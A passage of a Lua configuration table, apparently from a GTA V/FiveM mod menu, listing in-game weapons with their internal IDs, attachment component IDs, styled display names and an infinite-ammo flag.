name = '~h~~r~> ~s~Suppessor',
id = 'COMPONENT_AT_PI_SUPP_02'
}
}
}
},
CombatPistol = {
id = 'weapon_combatpistol',
name = '~h~Combat Pistol',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_COMBATPISTOL_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_COMBATPISTOL_CLIP_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP'
}
}
}
},
APPistol = {
id = 'weapon_appistol',
name = 'AP Pistol',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_APPISTOL_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_APPISTOL_CLIP_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP'
}
}
}
},
StunGun = {
id = 'weapon_stungun',
name = '~h~~r~> ~s~Stun Gun',
bInfAmmo = false,
mods = {}
},
Pistol50 = {
id = 'weapon_pistol50',
name = '~h~~r~> ~s~Pistol .50',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_PISTOL50_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_PISTOL50_CLIP_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP_02'
}
}
}
},
SNSPistol = {
id = 'weapon_snspistol',
name = '~h~~r~> ~s~SNS Pistol',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_SNSPISTOL_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_SNSPISTOL_CLIP_02'
}
}
}
},
SNSPistolMkII = {
id = 'weapon_snspistol_mk2',
name = '~h~~r~> ~s~SNS Pistol Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_SNSPISTOL_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_SNSPISTOL_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_SNSPISTOL_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_SNSPISTOL_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_SNSPISTOL_MK2_CLIP_HOLLOWPOINT'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_SNSPISTOL_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Mounted Scope',
id = 'COMPONENT_AT_PI_RAIL_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH_03'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Compensator',
id = 'COMPONENT_AT_PI_COMP_02'
},
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP_02'
}
}
}
},
HeavyPistol = {
id = 'weapon_heavypistol',
name = '~h~~r~> ~s~Heavy Pistol',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_HEAVYPISTOL_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_HEAVYPISTOL_CLIP_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP'
}
}
}
},
VintagePistol = {
id = 'weapon_vintagepistol',
name = '~h~~r~> ~s~Vintage Pistol',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_VINTAGEPISTOL_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_VINTAGEPISTOL_CLIP_02'
}
},
BarrelAttachments = {
{'Suppressor', id = 'COMPONENT_AT_PI_SUPP'}
}
}
},
FlareGun = {
id = 'weapon_flaregun',
name = '~h~~r~> ~s~Flare Gun',
bInfAmmo = false,
mods = {}
},
MarksmanPistol = {
id = 'weapon_marksmanpistol',
name = '~h~~r~> ~s~Marksman Pistol',
bInfAmmo = false,
mods = {}
},
HeavyRevolver = {
id = 'weapon_revolver',
name = '~h~~r~> ~s~Heavy Revolver',
bInfAmmo = false,
mods = {}
},
HeavyRevolverMkII = {
id = 'weapon_revolver_mk2',
name = '~h~~r~> ~s~Heavy Revolver Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Rounds',
id = 'COMPONENT_REVOLVER_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_REVOLVER_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_REVOLVER_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_REVOLVER_MK2_CLIP_HOLLOWPOINT'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_REVOLVER_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Small Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Compensator',
id = 'COMPONENT_AT_PI_COMP_03'
}
}
}
},
DoubleActionRevolver = {
id = 'weapon_doubleaction',
name = '~h~~r~> ~s~Double Action Revolver',
bInfAmmo = false,
mods = {}
},
UpnAtomizer = {
id = 'weapon_raypistol',
name = '~h~~r~> ~s~Up-n-Atomizer',
bInfAmmo = false,
mods = {}
}
},
SMG = {
MicroSMG = {
id = 'weapon_microsmg',
name = '~h~~r~> ~s~Micro SMG',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_MICROSMG_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_MICROSMG_CLIP_02'
}
},
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO'}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_PI_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
}
}
}
},
SMG = {
id = 'weapon_smg',
name = '~h~~r~> ~s~SMG',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_SMG_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_SMG_CLIP_02'
},
{
name = '~h~~r~> ~s~Drum Magazine',
id = 'COMPONENT_SMG_CLIP_03'
}
},
Sights = {
{
name = '~h~~r~> ~s~Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP'
}
}
}
},
SMGMkII = {
id = 'weapon_smg_mk2',
name = '~h~~r~> ~s~SMG Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_SMG_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_SMG_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_SMG_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_SMG_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_SMG_MK2_CLIP_HOLLOWPOINT'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_SMG_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS_SMG'
},
{
name = '~h~~r~> ~s~Small Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_02_SMG_MK2'
},
{
name = '~h~~r~> ~s~Medium Scope',
id = 'COMPONENT_AT_SCOPE_SMALL_SMG_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_SB_BARREL_01'
},
{
name = '~h~~r~> ~s~Heavy',
id = 'COMPONENT_AT_SB_BARREL_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP'
},
{
name = '~h~~r~> ~s~Flat Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_01'
},
{
name = '~h~~r~> ~s~Tactical Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_02'
},
{
name = '~h~~r~> ~s~Fat-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_03'
},
{
name = '~h~~r~> ~s~Precision Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_04'
},
{
name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_05'
},
{
name = '~h~~r~> ~s~Slanted Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_06'
},
{
name = '~h~~r~> ~s~Split-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_07'
}
}
}
},
AssaultSMG = {
id = 'weapon_assaultsmg',
name = '~h~~r~> ~s~Assault SMG',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_ASSAULTSMG_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_ASSAULTSMG_CLIP_02'
}
},
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO'}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
}
}
}
},
CombatPDW = {
id = 'weapon_combatpdw',
name = '~h~~r~> ~s~Combat PDW',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_COMBATPDW_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_COMBATPDW_CLIP_02'
},
{
name = '~h~~r~> ~s~Drum Magazine',
id = 'COMPONENT_COMBATPDW_CLIP_03'
}
},
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL'}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
MachinePistol = {
id = 'weapon_machinepistol',
name = '~h~~r~> ~s~Machine Pistol ',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_MACHINEPISTOL_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_MACHINEPISTOL_CLIP_02'
},
{
name = '~h~~r~> ~s~Drum Magazine',
id = 'COMPONENT_MACHINEPISTOL_CLIP_03'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_PI_SUPP'
}
}
}
},
MiniSMG = {
id = 'weapon_minismg',
name = '~h~~r~> ~s~Mini SMG',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_MINISMG_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_MINISMG_CLIP_02'
}
}
}
},
UnholyHellbringer = {
id = 'weapon_raycarbine',
name = '~h~~r~> ~s~Unholy Hellbringer',
bInfAmmo = false,
mods = {}
}
},
Shotguns = {
PumpShotgun = {
id = 'weapon_pumpshotgun',
name = '~h~~r~> ~s~Pump Shotgun',
bInfAmmo = false,
mods = {
Flashlight = {
{'name = Flashlight', id = 'COMPONENT_AT_AR_FLSH'}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_SR_SUPP'
}
}
}
},
PumpShotgunMkII = {
id = 'weapon_pumpshotgun_mk2',
name = '~h~~r~> ~s~Pump Shotgun Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Shells',
id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Dragon Breath Shells',
id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Steel Buckshot Shells',
id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~Flechette Shells',
id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_HOLLOWPOINT'
},
{
name = '~h~~r~> ~s~Explosive Slugs',
id = 'COMPONENT_PUMPSHOTGUN_MK2_CLIP_EXPLOSIVE'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Small Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
},
{
name = '~h~~r~> ~s~Medium Scope',
id = 'COMPONENT_AT_SCOPE_SMALL_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_SR_SUPP_03'
},
{
name = '~h~~r~> ~s~Squared Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_08'
}
}
}
},
SawedOffShotgun = {
id = 'weapon_sawnoffshotgun',
name = '~h~~r~> ~s~Sawed-Off Shotgun',
bInfAmmo = false,
mods = {}
},
AssaultShotgun = {
id = 'weapon_assaultshotgun',
name = '~h~~r~> ~s~Assault Shotgun',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_ASSAULTSHOTGUN_CLIP_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
BullpupShotgun = {
id = 'weapon_bullpupshotgun',
name = '~h~~r~> ~s~Bullpup Shotgun',
bInfAmmo = false,
mods = {
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
Musket = {
id = 'weapon_musket',
name = '~h~~r~> ~s~Musket',
bInfAmmo = false,
mods = {}
},
HeavyShotgun = {
id = 'weapon_heavyshotgun',
name = '~h~~r~> ~s~Heavy Shotgun',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_HEAVYSHOTGUN_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
},
{
name = '~h~~r~> ~s~Drum Magazine',
id = 'COMPONENT_HEAVYSHOTGUN_CLIP_02'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
DoubleBarrelShotgun = {
id = 'weapon_dbshotgun',
name = '~h~~r~> ~s~Double Barrel Shotgun',
bInfAmmo = false,
mods = {}
},
SweeperShotgun = {
id = 'weapon_autoshotgun',
name = '~h~~r~> ~s~Sweeper Shotgun',
bInfAmmo = false,
mods = {}
}
},
AssaultRifles = {
AssaultRifle = {
id = 'weapon_assaultrifle',
name = '~h~~r~> ~s~Assault Rifle',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_ASSAULTRIFLE_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_ASSAULTRIFLE_CLIP_02'
},
{
name = '~h~~r~> ~s~Drum Magazine',
id = 'COMPONENT_ASSAULTRIFLE_CLIP_03'
}
},
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_MACRO'}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
AssaultRifleMkII = {
id = 'weapon_assaultrifle_mk2',
name = '~h~~r~> ~s~Assault Rifle Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_ASSAULTRIFLE_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Small Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
},
{
name = '~h~~r~> ~s~Large Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_AR_BARREL_01'
},
{name = '~h~~r~> ~s~Heavy', id = 'COMPONENT_AT_AR_BARREL_0'}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
},
{
name = '~h~~r~> ~s~Flat Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_01'
},
{
name = '~h~~r~> ~s~Tactical Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_02'
},
{
name = '~h~~r~> ~s~Fat-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_03'
},
{
name = '~h~~r~> ~s~Precision Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_04'
},
{
name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_05'
},
{
name = '~h~~r~> ~s~Slanted Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_06'
},
{
name = '~h~~r~> ~s~Split-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_07'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02'}
}
}
},
CarbineRifle = {
id = 'weapon_carbinerifle',
name = '~h~~r~> ~s~Carbine Rifle',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_CARBINERIFLE_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_CARBINERIFLE_CLIP_02'
},
{
name = '~h~~r~> ~s~Box Magazine',
id = 'COMPONENT_CARBINERIFLE_CLIP_03'
}
},
Sights = {
{
name = '~h~~r~> ~s~Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
CarbineRifleMkII = {
id = 'weapon_carbinerifle_mk2',
name = '~h~~r~> ~s~Carbine Rifle Mk II ',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_CARBINERIFLE_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Small Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
},
{
name = '~h~~r~> ~s~Large Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_CR_BARREL_01'
},
{
name = '~h~~r~> ~s~Heavy',
id = 'COMPONENT_AT_CR_BARREL_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
},
{
name = '~h~~r~> ~s~Flat Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_01'
},
{
name = '~h~~r~> ~s~Tactical Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_02'
},
{
name = '~h~~r~> ~s~Fat-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_03'
},
{
name = '~h~~r~> ~s~Precision Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_04'
},
{
name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_05'
},
{
name = '~h~~r~> ~s~Slanted Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_06'
},
{
name = '~h~~r~> ~s~Split-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_07'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02'}
}
}
},
AdvancedRifle = {
id = 'weapon_advancedrifle',
name = '~h~~r~> ~s~Advanced Rifle ',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_ADVANCEDRIFLE_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_ADVANCEDRIFLE_CLIP_02'
}
},
Sights = {
{name = '~h~~r~> ~s~Scope', id = 'COMPONENT_AT_SCOPE_SMALL'}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP'
}
}
}
},
SpecialCarbine = {
id = 'weapon_specialcarbine',
name = '~h~~r~> ~s~Special Carbine',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_SPECIALCARBINE_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_SPECIALCARBINE_CLIP_02'
},
{
name = '~h~~r~> ~s~Drum Magazine',
id = 'COMPONENT_SPECIALCARBINE_CLIP_03'
}
},
Sights = {
{
name = '~h~~r~> ~s~Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP'}
}
}
},
SpecialCarbineMkII = {
id = 'weapon_specialcarbine_mk2',
name = '~h~~r~> ~s~Special Carbine Mk II',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_02'
},
{
name = '~h~~r~> ~s~Tracer Rounds',
id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER'
},
{
name = '~h~~r~> ~s~Incendiary Rounds',
id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY'
},
{
name = '~h~~r~> ~s~Hollow Point Rounds',
id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING'
},
{
name = '~h~~r~> ~s~FMJ Rounds',
id = 'COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ'
}
},
Sights = {
{
name = '~h~~r~> ~s~Holograhpic Sight',
id = 'COMPONENT_AT_SIGHTS'
},
{
name = '~h~~r~> ~s~Small Scope',
id = 'COMPONENT_AT_SCOPE_MACRO_MK2'
},
{
name = '~h~~r~> ~s~Large Scope',
id = 'COMPONENT_AT_SCOPE_MEDIUM_MK2'
}
},
Flashlight = {
{
name = '~h~~r~> ~s~Flashlight',
id = 'COMPONENT_AT_AR_FLSH'
}
},
Barrel = {
{
name = '~h~~r~> ~s~Default',
id = 'COMPONENT_AT_SC_BARREL_01'
},
{
name = '~h~~r~> ~s~Heavy',
id = 'COMPONENT_AT_SC_BARREL_02'
}
},
BarrelAttachments = {
{
name = '~h~~r~> ~s~Suppressor',
id = 'COMPONENT_AT_AR_SUPP_02'
},
{
name = '~h~~r~> ~s~Flat Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_01'
},
{
name = '~h~~r~> ~s~Tactical Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_02'
},
{
name = '~h~~r~> ~s~Fat-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_03'
},
{
name = '~h~~r~> ~s~Precision Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_04'
},
{
name = '~h~~r~> ~s~Heavy Duty Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_05'
},
{
name = '~h~~r~> ~s~Slanted Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_06'
},
{
name = '~h~~r~> ~s~Split-End Muzzle Brake',
id = 'COMPONENT_AT_MUZZLE_07'
}
},
Grips = {
{name = '~h~~r~> ~s~Grip', id = 'COMPONENT_AT_AR_AFGRIP_02'}
}
}
},
BullpupRifle = {
id = 'weapon_bullpuprifle',
name = '~h~~r~> ~s~Bullpup Rifle',
bInfAmmo = false,
mods = {
Magazines = {
{
name = '~h~~r~> ~s~Default Magazine',
id = 'COMPONENT_BULLPUPRIFLE_CLIP_01'
},
{
name = '~h~~r~> ~s~Extended Magazine',
id = 'COMPONENT_BULLPUPRIFLE_CLIP_02'
